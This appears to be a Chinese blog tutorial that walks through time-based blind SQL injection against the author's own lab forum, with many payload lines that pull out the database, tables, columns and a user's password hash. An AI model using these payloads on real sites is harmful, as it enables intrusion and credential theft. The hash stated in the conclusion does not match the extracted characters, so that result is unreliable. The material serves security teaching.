目录

  • 1 概述
  • 2 实验平台
  • 3 实验步骤
    • 3.1 判断是否存在注入点及注入的类型
    • 3.2 延迟盲注库名、表名、字段名及字段内容
  • 4 总结

1 概述

  1. 当改变浏览器带入给后台SQL的参数后,浏览器没有显示对应内容也没有显示报错信息时,无法使用union联合查询注入与报错注入;同时,输入参数为真或假也无法从页面显示上查出差异,无法使用布尔注入,这时候可以试试看能否使用延时注入。
  2. 延时盲注:也称延时注入、时间注入等,这种注入方式在带入给后台的参数中,设置了一个if语句,当条件为真时执行sleep语句,条件为假时无执行语句,然后根据浏览器的响应时间来推测sleep语句是否被执行,进而推测if条件是否为真。
  3. 延时盲注与布尔盲注的核心思想都是通过浏览器的不同响应来推测输入的条件的真假,布尔盲注是条件真假时页面显示会有不同显示,延时盲注则是显示结果相同只能从响应时间上进行推测。
  4. 缺点:有时候网页响应慢并不是因为sleep语句起来效果,也可能是网络等外部因素的影响。

2 实验平台

  1. 实验靶场——虚拟机:本节实验靶场是在win2008系统上基于phpstudy搭建的一个简单网站,win2008及phpstudy的安装过程可以参考《win2008R2SP1+WAMP环境部署》,网站的搭建过程可以参考《综合实验:一个简单丑陋的论坛网站》
  2. 注入工具——真实机:本实验利用火狐浏览器来实现union注入,为方便注入过程的编码,建议安装一个扩展插件harkbar,安装过程参考《HackBar免费版安装方法》由于该教程中的2.1.3harkbar我安装后无法正常使用,就安装了HackBar Quantum来代替。安装后出现下图左侧的东西。

3 实验步骤

3.1 判断是否存在注入点及注入的类型

在该阶段主要是尝试不同的输入参数,根据网页反馈信息来判断是否存在注入点以及注入类型,如是否是字符型还是数值型,是否存在延迟注入等。

  1. 用浏览器访问我们的留言论坛,并点击第一条留言进入测试界面。
  2. 将参数修改为?id=2,并点击run,看到页面变化如下,弹出第二条留言内容,由此可见后台是根据id的不同来反馈不同信息,而id是访问者可控的,是一个注入点。
  3. 修改参数为?id=1 and 1=1,返回页面与原页面一致 。通过该参数我们可以分析得到该注入数据类型为数值型,原因如下:
    (1) 猜测为数值型,则后台SQL语句为 select * from table where id=1 and 1=1,where语句判断条件为真且id=1,语句正常执行。
    (2) 猜测为字符型,则后台SQL语句为 select * from table where id=‘1 and 1=1’,where语句将找不到id为‘1 and 1=1’的参数,语句执行失败。
    (3) 更多数值型和字符型的判断方法请查看文章《反证法:判断注入类型是数值型还是字符型》
  4. 修改参数为 ?id=1 and 1=2 ,由于 and 1=2 为假 , 所以页面应返回与 id=1 不同的结果,如下图所示。也就是说是否能正常回显内容与语句的真假性有关。
  5. 为了判断注入是数字型或是字符型,继续修改参数?id=1',就是多了一个单引号,并点击run,看到页面如下。除了标题没有任何回馈信息,可以判断的是该语句带入到SQL中执行时,无法正常执行回显内容,但没有提示错误信息不知道能不能就判断是数字型的注入。
  6. 为判断参数是否存在延迟注入,按F12打开调试面板,在左侧继续修改参数为?id=1 and sleep(5),并点击run。可以看到sleep语句对网页的响应起到作用,也就是意味着存在延迟注入的可能。
  7. 结论:
    1. 因为id参数是用户可控的,会随请求带入到数据库中执行并回显相应内容,是一个注入点。虽然可以用union注入,但是在本实验中我们演示如何使用延时盲注。
    2. 根据第3步说明参数为数值型。
    3. 当参数条件为假时,无法正常回显,说明网页存在布尔类型状态。
    4. sleep语句对网页的响应起到作用,也就是意味着存在延迟注入。
    5. 从联合注入到盲注以及延迟注入,其时间人力成本逐步增大,尽可能选择低成本方式进行注入。

3.2 延迟盲注库名、表名、字段名及字段内容

  1. 修改参数为?id=1 and if(length(database())<10,sleep(5),1),页面延迟了5秒才响应,说明数据库名长度小于10为真。
  2. 经过多次测试,当修改参数为?id=1 and if(length(database())=7,sleep(5),1)时,页面延迟了5秒才响应,说明数据库名长度等于7为真。
  3. 测试第一个字符内容,经过多次测试,当修改参数为?id=1 and if(ascii(substr(database(),1,1))=109,sleep(5),1)时,页面延迟了5秒才响应,说明数据库名第一个字符ASCII码值为109,查表可得该字符为m。
  4. 按以上做法,汇总全过程注入代码如下,更详细的思路可看《布尔盲注实例手操》
测试库名
?id=1 and if(ascii(substr(database(),1,1))=109,sleep(5),1)		//m
?id=1 and if(ascii(substr(database(),2,1))=121,sleep(5),1)		//y
?id=1 and if(ascii(substr(database(),3,1))=95,sleep(5),1)		//_
?id=1 and if(ascii(substr(database(),4,1))=116,sleep(5),1)		//t
?id=1 and if(ascii(substr(database(),5,1))=101,sleep(5),1)		//e
?id=1 and if(ascii(substr(database(),6,1))=115,sleep(5),1)		//s
?id=1 and if(ascii(substr(database(),7,1))=116,sleep(5),1)		//t
?id=1 and if(ascii(substr(database(),8,1))=0,sleep(5),1)		//为空字符,说明库名为my_test

测试表的数量
?id=1 and if((select count(table_name) from information_schema.tables where table_schema = 'my_test')=2,sleep(5),1)	//说明有2个表

测试第1个表名
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),1,1))=109,sleep(5),1)		//m
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),2,1))=101,sleep(5),1)		//e
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),3,1))=115,sleep(5),1)		//s
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),4,1))=115,sleep(5),1)		//s
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),5,1))=97,sleep(5),1)		//a
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),6,1))=103,sleep(5),1)		//g
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),7,1))=101,sleep(5),1)		//e
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),8,1))=115,sleep(5),1)		//s
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),9,1))=0,sleep(5),1)		//为空字符,说明第1个表名为messages

测试第2个表名
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),1,1))=117,sleep(5),1)		//u
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),2,1))=115,sleep(5),1)		//s
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),3,1))=101,sleep(5),1)		//e
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),4,1))=114,sleep(5),1)		//r
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),5,1))=115,sleep(5),1)		//s
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),6,1))=0,sleep(5),1)		//为空字符,说明第2个表名为users

测试users表中有多少个字段
?id=1 and if((select count(column_name) from information_schema.columns where table_name = 'users')=5,sleep(5),1)	//说明有5个字段

测试第1个字段名
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 0,1),1,1))=105,sleep(5),1)		//i
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 0,1),2,1))=100,sleep(5),1)		//d
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 0,1),3,1))=0,sleep(5),1)			//空字符,说明第一个字段名为id

测试第2个字段名
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 1,1),1,1))=110,sleep(5),1)		//n
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 1,1),2,1))=97,sleep(5),1)			//a
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 1,1),3,1))=109,sleep(5),1)		//m
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 1,1),4,1))=101,sleep(5),1)		//e
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 1,1),5,1))=0,sleep(5),1)			//空字符,说明第二个字段名为name

测试第3个字段名
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 2,1),1,1))=112,sleep(5),1)		//p
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 2,1),2,1))=97,sleep(5),1)			//a
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 2,1),3,1))=115,sleep(5),1)		//s
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 2,1),4,1))=115,sleep(5),1)		//s
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 2,1),5,1))=119,sleep(5),1)		//w
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 2,1),6,1))=111,sleep(5),1)		//o
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 2,1),7,1))=114,sleep(5),1)		//r
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 2,1),8,1))=100,sleep(5),1)		//d
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 2,1),9,1))=0,sleep(5),1)			//空字符,说明第二个字段名为password

测试users表中的账户数量
?id=1 and if((select count(name) from users)=3,sleep(5),1)	//说明有3个账号

测试users表的第一个账号
?id=1 and if(ascii(substr((select name from users limit 0,1),1,1))=97,sleep(5),1)		//a
?id=1 and if(ascii(substr((select name from users limit 0,1),2,1))=0,sleep(5),1)		//空字符,说明第一个账户为a

测试users表的第一个账号a的密码
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),1,1))=48,sleep(5),1)	//0
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),2,1))=99,sleep(5),1)	//c
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),3,1))=99,sleep(5),1)	//c
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),4,1))=49,sleep(5),1)	//1
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),5,1))=55,sleep(5),1)	//7
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),6,1))=53,sleep(5),1)	//5
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),7,1))=98,sleep(5),1)	//b
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),8,1))=57,sleep(5),1)	//9
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),9,1))=99,sleep(5),1)	//c
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),10,1))=48,sleep(5),1)	//0
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),11,1))=102,sleep(5),1)	//f
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),12,1))=49,sleep(5),1)	//1
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),13,1))=98,sleep(5),1)	//b
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),14,1))=54,sleep(5),1)	//6
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),15,1))=97,sleep(5),1)	//a
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),16,1))=56,sleep(5),1)	//8
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),17,1))=51,sleep(5),1)	//3
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),18,1))=49,sleep(5),1)	//1
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),19,1))=99,sleep(5),1)	//c
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),20,1))=51,sleep(5),1)	//3
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),21,1))=57,sleep(5),1)	//9
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),22,1))=57,sleep(5),1)	//9
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),23,1))=101,sleep(5),1)	//e
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),24,1))=50,sleep(5),1)	//2
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),25,1))=54,sleep(5),1)	//6
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),26,1))=57,sleep(5),1)	//9
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),27,1))=55,sleep(5),1)	//7
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),28,1))=55,sleep(5),1)	//7
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),29,1))=50,sleep(5),1)	//2
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),30,1))=54,sleep(5),1)	//6
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),31,1))=54,sleep(5),1)	//6
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),32,1))=49,sleep(5),1)	//1
?id=1 and if(ascii(substr((select password from users where name='a' limit 0,1),33,1))=0,sleep(5),1)	//空字符,因此a账户加密后的密码为e10adc3949ba59abbe56e057f20f883e,在md5网站解密得明文为a。

其余两个账号与第一个账号类似可得

4 总结

  1. 理解延时盲注与布尔盲注的区别和联系;
  2. 掌握延时盲注的方法。

更多推荐

【SQL注入05】延时盲注实例操作